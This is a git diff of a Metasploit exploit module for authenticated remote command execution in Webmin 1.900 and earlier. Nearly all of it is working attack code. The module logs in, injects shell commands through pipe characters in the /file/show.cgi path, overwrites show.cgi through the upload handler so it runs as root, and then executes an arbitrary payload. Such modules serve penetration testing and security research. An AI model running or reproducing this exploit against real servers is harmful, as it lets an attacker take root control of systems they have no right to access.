diff --git a/modules/exploits/unix/webapp/webmin_1900_rce.rb b/modules/exploits/unix/webapp/webmin_1900_rce.rb index 233043dab4..494532aa95 100644 --- a/modules/exploits/unix/webapp/webmin_1900_rce.rb +++ b/modules/exploits/unix/webapp/webmin_1900_rce.rb @@ -15,22 +15,25 @@ class MetasploitModule < Msf::Exploit::Remote 'Description' => %q( This module exploits an arbitrary command execution vulnerability in Webmin 1.900 and lower versions. Any user authorized to the "Java file manager" - and "Upload and Download" fields, to execute arbitrary commands with root privileges. + and "Upload and Download" fields can execute arbitrary commands with root + privileges. + In addition, if the 'Running Processes' (proc) privilege is set the user can - accurately determine directory upload to. Webmin application files can be - written/overwritten, thus allowing RCE root. The module has been tested - successfully with Webmin 1900 over Debia'cookie' "redirect=1; testing=1; - sid=#{session}"n 4.9.18. - Using GUESSUPLOAD attempts to use a default installation path in order to trigger the - exploit. + accurately determine which directory to upload to. Webmin application files + can be written/overwritten, which allows remote code execution. The module + has been tested successfully with Webmin 1900 on Debian 4.9.18. + + Using GUESSUPLOAD attempts to use a default installation path in order to + trigger the exploit. ), 'Author' => [ - 'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, Initial PoC module + 'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, Initial PoC module 'Ziconius ' # Updated MSF module; removing 'proc' requirement. ], 'License' => MSF_LICENSE, 'References' => [ + ['EDB', '46201'], ['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html'] ], 'Privileged' => true, @@ -44,144 +47,112 @@ class MetasploitModule < Msf::Exploit::Remote 'RequiredCmd' => 'generic perl ruby python telnet' } }, + 'DefaultOptions' => + { + 'RPORT' => 10000, + 'SSL' => true + }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [['Webmin <= 1.900', {}]], 'DisclosureDate' => 'Jan 17 2019', 'DefaultTarget' => 0) ) - register_options( - [ - Opt::RPORT(10000), - OptBool.new('SSL', [true, 'Use SSL', true]), - OptBool.new('GUESSUPLOAD', [true, "If no 'proc' permissions exists use default path.", false]), + register_options [ + OptBool.new('GUESSUPLOAD', [true, 'If no "proc" permissions exists use default path.', false]), OptString.new('USERNAME', [true, 'Webmin Username']), OptString.new('PASSWORD', [true, 'Webmin Password']) - ], self.class - ) + ] + end + + def login + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/session_login.cgi', + 'cookie' => 'testing=1', + 'vars_post' => { + 'page' => '', + 'user' => datastore['USERNAME'], + 'pass' => datastore['PASSWORD'] + } + }) + + if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/ + return $1 + end + + return nil unless res + '' end ## # Target and input verification ## - def check - vprint_status("Attempting to login...") - data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}" - res = send_request_cgi( - { - 'method' => 'POST', - 'uri' => "/session_login.cgi", - 'cookie' => "testing=1", - 'data' => data - }, 25 - ) + cookie = login + return CheckCode::Detected if cookie == '' + return CheckCode::Unknown if cookie.nil? - if res && res.code == 302 && res.get_cookies =~ /sid/ - print_good "Login successful" - session = res.get_cookies.split("sid=")[1].split(";")[0] - else - print_error "Service found, but login failed" - return Exploit::CheckCode::Detected - end - - print_status("Attempting to execute...") - - command = "echo #{rand_text_alphanumeric(rand(0..9))}" + vprint_status('Attempting to execute...') + command = "echo #{rand_text_alphanumeric(0..9)}" res = send_request_cgi( { 'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|", - 'cookie' => "sid=#{session}" + 'cookie' => "sid=#{cookie}" }, 25 ) if res && res.code == 200 && res.message =~ /Document follows/ - return Exploit::CheckCode::Vulnerable - else - return Exploit::CheckCode::Safe + return CheckCode::Vulnerable end + + CheckCode::Safe end ## # Exploiting phase ## - def exploit - peer = "#{rhost}:#{rport}" - print_status("Attempting to login...") - data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}" - - res = send_request_cgi( - { - 'method' => 'POST', - 'uri' => "/session_login.cgi", - 'cookie' => "testing=1", - 'data' => data - }, 25 - ) - - if res && res.code == 302 && res.get_cookies =~ /sid/ - session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || '' - if session && !session.empty? - print_good "Login successfully" - else - print_error "Authentication failed" - return - end - else - print_error "Authentication failed" - return + cookie = login + if cookie == '' || cookie.nil? + fail_with(Failure::Unknown, 'Failed to retrieve session cookie') end + print_good("Session cookie: #{cookie}") ## # Directory and SSL verification for referer ## - ps = datastore['SSL'].to_s - guess_dir = datastore['GUESSUPLOAD'].to_s - if ps == "true" - ssl = "https://" - else - ssl = "http://" - end + phost = ssl ? 'https://' : 'http://' + phost << peer + print_status("Target URL => #{phost}") - print_status("Target URL => #{ssl}#{peer}") - - res1 = send_request_raw( - 'method' => "POST", - 'uri' => "/proc/index_tree.cgi?", + res = send_request_raw( + 'method' => 'POST', + 'uri' => '/proc/index_tree.cgi', 'headers' => { - 'Referer' => "#{ssl}#{peer}/sysinfo.cgi?xnavigation=1" + 'Referer' => "#{phost}/sysinfo.cgi?xnavigation=1" }, - 'cookie' => "redirect=1; testing=1; sid=#{session}" + 'cookie' => "redirect=1; testing=1; sid=#{cookie}" ) + unless res && res.code == 200 + fail_with(Failure::Unknown, 'Request failed') + end - if res1 && res1.code == 200 && res1.body =~ /Running Processes/ - print_status "Searching for directory to upload..." - stpdir = - res1 - .body.scan(/perl.+miniserv.pl/) - .map { |s| s.split("perl ").last } - .map { |d| d.split("miniserv").first } - .map { |d| d.split("miniserv").first } - if !stpdir[0].nil? - dir = stpdir[0] + "file" - print_good("Directory to upload => #{dir}") - elsif guess_dir == "true" && stpdir[0].nil? - array = ["/usr/share/webmin/file"] - array.each do |i| - print_good("Attempting: " + i) - upload_attempt(ssl, peer, session, i) - end - else - print_error("Running processed check failed, not guessing uploads. Quitting.") - return - end + print_status 'Searching for directory to upload...' + if res.body =~ /Running Processes/ && res.body =~ /[^ ] ([\/\w]+)miniserv\.pl/ + directory = $1 + elsif datastore['GUESSUPLOAD'] + print_warning('Could not determine upload directory. Using /usr/share/webmin/') + directory = '/usr/share/webmin/' else - print_error "No access to processes or no upload directory found." + print_error('Failed to determine webmin share directory') + print_error('Set GUESSUPLOAD to attempt upload to a default location') return end + directory << 'file' + upload_attempt(phost, cookie, directory) ## # Loading phase of the vulnerable file @@ -189,23 +160,20 @@ class MetasploitModule < Msf::Exploit::Remote ## print_status("Attempting to execute the payload...") command = payload.encoded - res = send_request_cgi( - { - 'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(0..9))}|#{command}|", - 'cookie' => "sid=#{session}" - }, 25 - ) + res = send_request_cgi({ + 'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(0..9)}|#{command}|", + 'cookie' => "sid=#{cookie}" + }) if res && res.code == 200 && res.message =~ /Document follows/ - print_good "Payload executed successfully" + print_good 'Payload executed successfully' else - print_error "Error executing the payload" - return + print_error 'Error executing the payload' end end - def upload_attempt(ssl, peer, session, dir) - boundary = Rex::Text.rand_text_alphanumeric(29) + def upload_attempt(phost, cookie, dir) + boundary = rand_text_alphanumeric(29) data2 = "-----------------------------#{boundary}\r\n" data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n" @@ -258,39 +226,38 @@ class MetasploitModule < Msf::Exploit::Remote data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n" data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}" data2 << "\r\n\r\n" - data2 << "-----------------------------{boundary}\r\n" + data2 << "-----------------------------#{boundary}\r\n" data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n" - data2 << "-----------------------------{boundary}\r\n" + data2 << "-----------------------------#{boundary}\r\n" data2 << "Content-Disposition: form-data; name=\"user\"\r\n\r\nroot\r\n" - data2 << "-----------------------------{boundary}\r\n" + data2 << "-----------------------------#{boundary}\r\n" data2 << "Content-Disposition: form-data; name=\"group_def\"\r\n\r\n1\r\n" - data2 << "-----------------------------{boundary}\r\n" + data2 << "-----------------------------#{boundary}\r\n" data2 << "Content-Disposition: form-data; name=\"group\"\r\n\r\n\r\n" - data2 << "-----------------------------{boundary}\r\n" + data2 << "-----------------------------#{boundary}\r\n" data2 << "Content-Disposition: form-data; name=\"zip\"\r\n\r\n0\r\n" - data2 << "-----------------------------{boundary}\r\n" + data2 << "-----------------------------#{boundary}\r\n" data2 << "Content-Disposition: form-data; name=\"email_def\"\r\n\r\n1\r\n" - data2 << "-----------------------------{boundary}\r\n" + data2 << "-----------------------------#{boundary}\r\n" data2 << "Content-Disposition: form-data; name=\"ok\"\r\n\r\nUpload\r\n" - data2 << "-----------------------------{boundary}--\r\n" + data2 << "-----------------------------#{boundary}--\r\n" res2 = send_request_raw( - 'method' => "POST", - 'uri' => "/updown/upload.cgi?id=154739243511", + 'method' => 'POST', + 'uri' => "/updown/upload.cgi?id=#{rand_text_numeric(8..12)}", 'data' => data2, 'headers' => { - 'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}', - 'Referer' => "#{ssl}#{peer}/updown/?xnavigation=1" + 'Content-Type' => "multipart/form-data; boundary=---------------------------#{boundary}", + 'Referer' => "#{phost}/updown/?xnavigation=1" }, - 'cookie' => "redirect=1; testing=1; sid=#{session}" + 'cookie' => "redirect=1; testing=1; sid=#{cookie}" ) if res2 && res2.code == 200 && res2.body =~ /Saving file/ - print_good "Vulnerable show.cgi file was successfully uploaded." + print_good 'Vulnerable show.cgi file was successfully uploaded.' else - print_error "Upload failed." - return + print_error 'Upload failed.' end end end